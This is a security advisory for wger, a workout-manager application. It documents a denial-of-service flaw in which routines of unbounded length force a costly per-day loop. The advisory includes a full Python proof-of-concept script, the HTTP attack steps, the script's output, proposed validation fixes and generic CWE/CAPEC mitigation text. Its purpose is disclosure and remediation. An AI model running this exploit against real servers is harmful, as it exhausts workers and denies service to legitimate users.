[2] Creating baseline routine (30 days)...
    Routine id=5 (30 days)
    date-sequence-display: 200, 31 entries, 0.02s

[3] Creating malicious routine (100 years = 36,525 days)...
    Routine id=6
    start=2000-01-01, end=2099-12-31
    Duration: ~36,525 days (NO validation limit!)

=================================================================
  ATTACK: Triggering date_sequence on 100-year routine
=================================================================

  GET http://localhost/api/v2/routine/6/date-sequence-display/
  This will iterate ~36,525 times in a while loop...

  Response: HTTP 200
  Entries returned: 36525
  Time elapsed: 3.06s

=================================================================
  VERIFICATION
=================================================================

  Baseline (30-day routine):
    Entries: 31
    Time:    0.02s

  Malicious (100-year routine):
    Entries: 36525
    Time:    3.06s

  Slowdown factor: 138.4x

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  No maximum duration is enforced on routines.            |
  |  The date_sequence property loops once per day with no   |
  |  upper bound. A 100-year routine forces ~36,525          |
  |  iterations of expensive O(days x slots x configs) work. |
  |  A single request can exhaust a server worker thread.    |
  +----------------------------------------------------------+

Impact

  1. Worker Thread Exhaustion: Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.
  2. Amplification with Slots: The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.
  3. No Authentication Barrier Beyond Login: Any registered user can perform this attack. No elevated permissions are required.
  4. Cache Bypass: The first request for each routine (or after ROUTINE_CACHE_TTL expires) always runs the full computation. An attacker can create new routines to avoid cache hits.
  5. Five Affected Endpoints: date-sequence-display, date-sequence-gym, structure, logs, and stats all trigger the same unbounded loop.

Fix

1. Add maximum duration validation in the model

# File: wger/manager/models/routine.py
MAX_ROUTINE_DAYS = 365

def clean(self):
    if self.end and self.start:
        if self.start > self.end:
            raise ValidationError('Start cannot be after end.')
        if (self.end - self.start).days > self.MAX_ROUTINE_DAYS:
            raise ValidationError(
                f'Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.'
            )

2. Add the same validation in the serializer

# File: wger/manager/api/serializers.py
class RoutineSerializer(serializers.ModelSerializer):
    def validate(self, data):
        start = data.get('start')
        end = data.get('end')
        if start and end and (end - start).days > 365:
            raise serializers.ValidationError(
                'Routine cannot span more than 365 days.'
            )
        return data

3. Add a safety cap in date_sequence (defence-in-depth)

# File: wger/manager/models/routine.py, inside date_sequence property
MAX_SEQUENCE_DAYS = 400
count = 0
while current_date <= self.end:
    count += 1
    if count > MAX_SEQUENCE_DAYS:
        break
    ...
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T15:33:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAny authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the `date_sequence` computation via any of the routine detail endpoints. The server iterates once per day in an unbounded `while` loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.\n\n### Details\n\nThe `Routine` model (file: `wger/manager/models/routine.py`) has `start` and `end` date fields with only one validation -- `start` must not be after `end`:\n\n```python\n# File: wger/manager/models/routine.py, line 151\ndef clean(self):\n    if self.end and self.start and self.start \u003e self.end:\n        raise ValidationError(\u0027The start time cannot be after the end time.\u0027)\n    # NO maximum duration check\n```\n\nThe `RoutineSerializer` (file: `wger/manager/api/serializers.py`, line 43) likewise performs no validation on the delta between `start` and `end`.\n\nThe `date_sequence` property (line 256) uses an unbounded loop:\n\n```python\n# File: wger/manager/models/routine.py, line 256\nwhile current_date \u003c= self.end:\n    # heavy computation per day: slots, entries, configs, logs\n    ...\n```\n\nA routine with `start=2000-01-01` and `end=2099-12-31` produces **36,525 iterations**, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:\n\n- `GET /api/v2/routine/\u003cid\u003e/date-sequence-display/`\n- `GET /api/v2/routine/\u003cid\u003e/date-sequence-gym/`\n- `GET /api/v2/routine/\u003cid\u003e/structure/`\n- `GET /api/v2/routine/\u003cid\u003e/logs/`\n- `GET /api/v2/routine/\u003cid\u003e/stats/`\n\n### PoC\n\n#### Prerequisites\n\n- One authenticated user account\n- No special permissions required\n\n#### Attack Steps\n\n```\n# 1. Create a 100-year routine\nPOST /api/v2/routine/\nAuthorization: Token \u003ctoken\u003e\nContent-Type: application/json\n\n{\n    \"name\": \"DoS routine\",\n    \"start\": \"2000-01-01\",\n    \"end\": \"2099-12-31\"\n}\n\n# 2. Add at least one day (to make computation non-trivial)\nPOST /api/v2/day/\nAuthorization: Token \u003ctoken\u003e\nContent-Type: application/json\n\n{\n    \"routine\": \u003croutine_id\u003e,\n    \"order\": 1,\n    \"name\": \"Day A\"\n}\n\n# 3. Trigger the expensive computation\nGET /api/v2/routine/\u003croutine_id\u003e/date-sequence-display/\nAuthorization: Token \u003ctoken\u003e\n```\n\n**Expected:** HTTP 400 (routine duration exceeds maximum)\n**Actual:** HTTP 200 with 36,525 entries after several seconds of server CPU time\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Unbounded date_sequence Denial of Service\nTarget: wger Workout Manager\nSeverity: HIGH - CVSS 6.5\nCWE-400: Uncontrolled Resource Consumption\n\nUsage:\n    python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport time\n\nif len(sys.argv) \u003c 2:\n    print(f\"Usage: {sys.argv[0]} \u003cBASE_URL\u003e\")\n    print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n    sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nATTACKER_USER = \"dos_attacker_poc\"\nATTACKER_PASS = \"DosAttack!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n  PoC: Unbounded date_sequence Denial of Service\n  Severity: HIGH\n  CWE-400: Uncontrolled Resource Consumption\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helper ----\ndef api_login(username, password):\n    r = requests.post(f\"{API}/login/\", json={\n        \"username\": username, \"password\": password\n    })\n    if r.status_code == 200:\n        return r.json().get(\"token\")\n    return None\n\ndef api_headers(token):\n    return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n\n# ---- 1. Authenticate ----\n\nprint(\"[1] Authenticating...\")\n\ntoken = api_login(ATTACKER_USER, ATTACKER_PASS)\nif not token:\n    print(f\"    Registering account...\")\n    r = requests.post(f\"{API}/register/\", json={\n        \"username\": ATTACKER_USER,\n        \"password\": ATTACKER_PASS,\n    })\n    if r.status_code in (200, 201):\n        token = r.json().get(\"token\")\n    if not token:\n        token = api_login(ATTACKER_USER, ATTACKER_PASS)\n    if not token:\n        print(f\"[-] Cannot authenticate. Response: {r.text[:200]}\")\n        sys.exit(1)\nprint(f\"    Token: {token[:16]}...\")\n\nheaders = api_headers(token)\n\n\n# ---- 2. Create NORMAL routine (baseline) ----\n\nprint(\"\\n[2] Creating baseline routine (30 days)...\")\n\nr = requests.post(f\"{API}/routine/\", headers=headers, json={\n    \"name\": \"Normal 30-day routine\",\n    \"start\": \"2025-01-01\",\n    \"end\": \"2025-01-31\",\n})\nnormal_id = r.json()[\"id\"]\n\nr = requests.post(f\"{API}/day/\", headers=headers, json={\n    \"routine\": normal_id, \"order\": 1, \"name\": \"Day A\"\n})\n\nprint(f\"    Routine id={normal_id} (30 days)\")\nstart_time = time.time()\nr = requests.get(\n    f\"{API}/routine/{normal_id}/date-sequence-display/\",\n    headers=headers,\n)\nbaseline_time = time.time() - start_time\nbaseline_entries = len(r.json()) if r.status_code == 200 else 0\nprint(f\"    date-sequence-display: {r.status_code}, \"\n      f\"{baseline_entries} entries, {baseline_time:.2f}s\")\n\n\n# ---- 3. Create MALICIOUS routine (100 years) ----\n\nprint(f\"\\n[3] Creating malicious routine (100 years = 36,525 days)...\")\n\nr = requests.post(f\"{API}/routine/\", headers=headers, json={\n    \"name\": \"DoS routine - 100 years\",\n    \"start\": \"2000-01-01\",\n    \"end\": \"2099-12-31\",\n})\n\nif r.status_code != 201:\n    print(f\"    [-] Failed to create: {r.status_code} {r.text[:200]}\")\n    sys.exit(1)\n\ndos_id = r.json()[\"id\"]\nprint(f\"    Routine id={dos_id}\")\nprint(f\"    start=2000-01-01, end=2099-12-31\")\nprint(f\"    Duration: ~36,525 days (NO validation limit!)\")\n\nr = requests.post(f\"{API}/day/\", headers=headers, json={\n    \"routine\": dos_id, \"order\": 1, \"name\": \"DoS Day\"\n})\n\n\n# ---- 4. ATTACK ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\"  ATTACK: Triggering date_sequence on 100-year routine\")\nprint(f\"{\u0027=\u0027*65}\")\n\nprint(f\"\\n  GET {API}/routine/{dos_id}/date-sequence-display/\")\nprint(f\"  This will iterate ~36,525 times in a while loop...\")\n\nstart_time = time.time()\ntry:\n    r = requests.get(\n        f\"{API}/routine/{dos_id}/date-sequence-display/\",\n        headers=headers,\n        timeout=120,\n    )\n    elapsed = time.time() - start_time\n    dos_entries = len(r.json()) if r.status_code == 200 else 0\n\n    print(f\"\\n  Response: HTTP {r.status_code}\")\n    print(f\"  Entries returned: {dos_entries}\")\n    print(f\"  Time elapsed: {elapsed:.2f}s\")\n\nexcept requests.exceptions.Timeout:\n    elapsed = time.time() - start_time\n    dos_entries = 0\n    print(f\"\\n  REQUEST TIMED OUT after {elapsed:.2f}s!\")\n\nexcept requests.exceptions.ConnectionError:\n    elapsed = time.time() - start_time\n    dos_entries = 0\n    print(f\"\\n  CONNECTION LOST after {elapsed:.2f}s!\")\n\n\n# ---- 5. VERIFY ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\"  VERIFICATION\")\nprint(f\"{\u0027=\u0027*65}\")\n\nprint(f\"\\n  Baseline (30-day routine):\")\nprint(f\"    Entries: {baseline_entries}\")\nprint(f\"    Time:    {baseline_time:.2f}s\")\nprint(f\"\\n  Malicious (100-year routine):\")\nprint(f\"    Entries: {dos_entries}\")\nprint(f\"    Time:    {elapsed:.2f}s\")\n\nif elapsed \u003e baseline_time * 5 or dos_entries \u003e 10000:\n    slowdown = elapsed / baseline_time if baseline_time \u003e 0 else float(\u0027inf\u0027)\n    print(f\"\\n  Slowdown factor: {slowdown:.1f}x\")\n    print(\"\"\"\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  No maximum duration is enforced on routines.            |\n  |  The date_sequence property loops once per day with no   |\n  |  upper bound. A 100-year routine forces ~36,525          |\n  |  iterations of expensive O(days x slots x configs) work. |\n  |  A single request can exhaust a server worker thread.    |\n  +----------------------------------------------------------+\n\"\"\")\nelse:\n    print(\"\\n  Response was fast - server may have limits or caching.\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n  PoC: Unbounded date_sequence Denial of Service\n  Severity: HIGH\n  CWE-400: Uncontrolled Resource Consumption\n=====================================================================\n\n[1] Authenticating...\n    Registering account...\n    Token: 2ffbb18316fc4e0f...\n\n[2] Creating baseline routine (30 days)...\n    Routine id=5 (30 days)\n    date-sequence-display: 200, 31 entries, 0.02s\n\n[3] Creating malicious routine (100 years = 36,525 days)...\n    Routine id=6\n    start=2000-01-01, end=2099-12-31\n    Duration: ~36,525 days (NO validation limit!)\n\n=================================================================\n  ATTACK: Triggering date_sequence on 100-year routine\n=================================================================\n\n  GET http://localhost/api/v2/routine/6/date-sequence-display/\n  This will iterate ~36,525 times in a while loop...\n\n  Response: HTTP 200\n  Entries returned: 36525\n  Time elapsed: 3.06s\n\n=================================================================\n  VERIFICATION\n=================================================================\n\n  Baseline (30-day routine):\n    Entries: 31\n    Time:    0.02s\n\n  Malicious (100-year routine):\n    Entries: 36525\n    Time:    3.06s\n\n  Slowdown factor: 138.4x\n\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  No maximum duration is enforced on routines.            |\n  |  The date_sequence property loops once per day with no   |\n  |  upper bound. A 100-year routine forces ~36,525          |\n  |  iterations of expensive O(days x slots x configs) work. |\n  |  A single request can exhaust a server worker thread.    |\n  +----------------------------------------------------------+\n```\n\n### Impact\n\n1. **Worker Thread Exhaustion:** Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.\n2. **Amplification with Slots:** The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.\n3. **No Authentication Barrier Beyond Login:** Any registered user can perform this attack. No elevated permissions are required.\n4. **Cache Bypass:** The first request for each routine (or after `ROUTINE_CACHE_TTL` expires) always runs the full computation. An attacker can create new routines to avoid cache hits.\n5. **Five Affected Endpoints:** `date-sequence-display`, `date-sequence-gym`, `structure`, `logs`, and `stats` all trigger the same unbounded loop.\n\n\n### Fix\n\n#### 1. Add maximum duration validation in the model\n\n```python\n# File: wger/manager/models/routine.py\nMAX_ROUTINE_DAYS = 365\n\ndef clean(self):\n    if self.end and self.start:\n        if self.start \u003e self.end:\n            raise ValidationError(\u0027Start cannot be after end.\u0027)\n        if (self.end - self.start).days \u003e self.MAX_ROUTINE_DAYS:\n            raise ValidationError(\n                f\u0027Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.\u0027\n            )\n```\n\n#### 2. Add the same validation in the serializer\n\n```python\n# File: wger/manager/api/serializers.py\nclass RoutineSerializer(serializers.ModelSerializer):\n    def validate(self, data):\n        start = data.get(\u0027start\u0027)\n        end = data.get(\u0027end\u0027)\n        if start and end and (end - start).days \u003e 365:\n            raise serializers.ValidationError(\n                \u0027Routine cannot span more than 365 days.\u0027\n            )\n        return data\n```\n\n#### 3. Add a safety cap in date_sequence (defence-in-depth)\n\n```python\n# File: wger/manager/models/routine.py, inside date_sequence property\nMAX_SEQUENCE_DAYS = 400\ncount = 0\nwhile current_date \u003c= self.end:\n    count += 1\n    if count \u003e MAX_SEQUENCE_DAYS:\n        break\n    ...\n```",
  "id": "GHSA-v25j-wqcw-fvhj",
  "modified": "2026-05-13T15:33:38Z",
  "published": "2026-05-13T15:33:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-v25j-wqcw-fvhj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/commit/5f07a4473e2c32d298c8cdd31d78e5107840039c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger has an Uncontrolled Resource Consumption issue"
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.